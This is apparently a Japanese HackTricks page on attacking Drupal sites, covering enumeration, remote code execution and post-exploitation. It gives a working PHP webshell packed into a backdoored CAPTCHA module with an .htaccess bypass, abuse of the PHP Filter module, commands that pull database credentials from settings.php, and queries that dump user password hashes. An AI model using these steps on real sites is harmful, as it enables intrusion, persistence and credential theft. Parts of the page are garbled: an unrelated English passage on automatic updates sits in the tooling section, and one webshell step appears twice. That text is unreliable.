13 KiB
Drupal
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- あなたはサイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
Discovery
- メタをチェックする
curl https://www.drupal.org/ | grep 'content="Drupal'
- ノード: Drupalはノードを使用してコンテンツをインデックスします。ノードはブログ投稿、投票、記事など、何でも保持することができます。ページのURIは通常、
/node/<nodeid>
の形式です。
curl drupal-site.com/node/1
列挙
Drupalはデフォルトで3種類のユーザーをサポートしています:
管理者
: このユーザーはDrupalウェブサイトを完全に制御できます。認証済みユーザー
: これらのユーザーはウェブサイトにログインし、権限に基づいて記事の追加や編集などの操作を行うことができます。匿名
: すべてのウェブサイト訪問者は匿名として指定されます。デフォルトでは、これらのユーザーは投稿の読み取りのみが許可されています。
バージョン
/CHANGELOG.txt
をチェックします。
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Drupalの新しいインストールでは、デフォルトでCHANGELOG.txt
とREADME.txt
ファイルへのアクセスがブロックされます。
{% endhint %}
ユーザー名の列挙
登録
_/user/register_でユーザー名を作成しようとすると、既に使用されている場合に通知されます:
新しいパスワードのリクエスト
既存のユーザー名の新しいパスワードをリクエストする場合:
存在しないユーザー名の新しいパスワードをリクエストする場合:
ユーザー数の取得
_/user/<number>_にアクセスすると、既存のユーザー数を確認できます。この場合、_users/3_は見つからないエラーを返します:
隠しページ
/node/$
という形式でFuzzする($は1から500までの数値)。
検索エンジンによって参照されていない隠れたページ(テスト、開発)を見つけることができます。
インストールされたモジュールの情報
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
自動
Drupal has a built-in feature called "Automatic Drupal Core Updates" that allows the system to automatically update the Drupal core when new security releases are available. This feature can be enabled by navigating to Administer > Configuration > Development > Automatic Updates.
Drupal also provides a command-line tool called drush
that can be used to automate various tasks, including updating Drupal core and modules. The drush pm-update
command can be used to update Drupal core and modules to their latest versions.
Automating the update process can help ensure that your Drupal installation is always up to date with the latest security patches, reducing the risk of vulnerabilities being exploited.
However, it is important to note that automatic updates should be used with caution, as they can potentially introduce compatibility issues or break customizations. It is recommended to thoroughly test updates in a development environment before applying them to a production site.
To disable automatic updates, simply navigate to the Automatic Updates configuration page and uncheck the "Enable automatic updates" option.
droopescan scan drupal -u http://drupal-site.local
RCE
PHPフィルターモジュールを使用する
{% hint style="warning" %}
Drupalの古いバージョン(バージョン8より前)では、管理者としてログインし、PHPフィルター
モジュールを有効化することが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価する」機能を提供します。
{% endhint %}
プラグインphpがインストールされている必要があります(_modules/php_にアクセスして403が返される場合は、存在します。見つからない場合は、プラグインphpがインストールされていません)
_Modules_に移動 -> (チェック) PHP Filter -> Save configuration
次に、_Add content_をクリック -> _Basic Page_または_Article_を選択 -> 本文にphpシェルコードを記述 -> _Text format_で_PHP code_を選択 -> _Preview_を選択
最後に、新しく作成したノードにアクセスしてください:
curl http://drupal-site.local/node/3
PHPフィルターモジュールのインストール
バージョン8以降、PHPフィルターモジュールはデフォルトでインストールされていません。この機能を利用するには、モジュールを自分でインストールする必要があります。
- Drupalのウェブサイトから最新バージョンのモジュールをダウンロードします。
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- ダウンロードが完了したら、
管理
>レポート
> **利用可能な更新
**に移動します。 - **
参照
をクリックし、ダウンロードしたディレクトリからファイルを選択し、インストール
**をクリックします。 - モジュールがインストールされたら、
コンテンツ
をクリックして、Drupal 7の例と同様に新しい基本ページを作成します。再度、テキスト形式
のドロップダウンメニューからPHPコード
を選択することを忘れないでください。
バックドア付きモジュール
バックドア付きモジュールは、既存のモジュールにシェルを追加することで作成できます。モジュールはdrupal.orgのウェブサイトで見つけることができます。CAPTCHAのようなモジュールを選びましょう。下にスクロールして、tar.gz形式のアーカイブのリンクをコピーします。
- アーカイブをダウンロードして、その内容を抽出します。
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- 以下の内容でPHPウェブシェルを作成します:
<?php
// PHP code here
?>
- 以下の内容でPHPウェブシェルを作成します:
<?php
system($_GET["cmd"]);
?>
- 次に、フォルダへのアクセス権限を自分自身に与えるために
.htaccess
ファイルを作成する必要があります。これは、Drupalが/modules
フォルダへの直接アクセスを拒否するため、必要です。
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- 上記の設定は、/modules内のファイルをリクエストする際に、/フォルダに対してルールを適用します。これらのファイルをcaptchaフォルダにコピーし、アーカイブを作成してください。
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- ウェブサイトへの管理アクセスがあると仮定し、サイドバーの**
管理
をクリックし、次に拡張
をクリックします。次に、+ 新しいモジュールをインストール
ボタンをクリックし、インストールページに移動します。例えば、http://drupal-site.local/admin/modules/install
に移動します。バックドアが仕込まれたCaptchaのアーカイブを参照し、インストール
**をクリックします。 - インストールが成功したら、**
/modules/captcha/shell.php
**にアクセスしてコマンドを実行します。
ポストエクスプロイテーション
settings.phpを読む
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
DBからユーザーをダンプする
# Dump users from DB
drush sql-query "SELECT name, pass FROM users"
このコマンドは、Drupalのデータベースからユーザー情報をダンプします。
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
参考文献
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはテレグラムグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。